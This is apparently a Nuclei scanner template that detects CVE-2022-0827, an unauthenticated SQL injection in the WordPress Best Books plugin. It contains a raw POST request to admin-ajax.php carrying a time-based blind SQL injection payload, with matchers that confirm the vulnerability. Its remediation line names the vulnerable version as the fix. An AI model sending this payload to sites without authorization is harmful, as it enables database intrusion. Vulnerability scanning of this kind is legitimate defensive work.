id: CVE-2022-0827 info: name: WordPress Best Books <=2.6.3 - SQL Injection author: theamanrawat severity: critical description: | WordPress Best Books plugin through 2.6.3 is susceptible to SQL injection. The plugin does not sanitize and escape some parameters before using them in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. remediation: | Update to WordPress Best Books plugin version 2.6.3 or later to fix the SQL injection vulnerability. reference: - https://wpscan.com/vulnerability/0d208ebc-7805-457b-aa5f-ffd5adb2f3be - https://wordpress.org/plugins/bestbooks/ - https://nvd.nist.gov/vuln/detail/CVE-2022-0827 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-0827 cwe-id: CWE-89 epss-score: 0.02077 epss-percentile: 0.87813 cpe: cpe:2.3:a:presspage:bestbooks:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: presspage product: bestbooks framework: wordpress tags: cve,cve2022,sqli,wpscan,wordpress,wp-plugin,wp,bestbooks,unauthenticated http: - raw: - | @timeout 10s POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=bestbooks_add_transaction&type=x&account=x&date=x&description=1&debit=(CASE WHEN (9277=9277) THEN SLEEP(6) ELSE 9277 END)&credit=1 matchers: - type: dsl dsl: - 'duration_1>=6' - 'status_code == 200' - 'contains(body, "Account added successfully")' condition: and # digest: 4a0a00473045022008417c5018997aee1bdeb15dc684be8874b6110b45dfac55284a9fe52382b09b022100804e64003da86b17b103d20923e27b27eabc029e0e68852c8c450fdfe1badf82:922c64590222798bb761d5b6d8e72950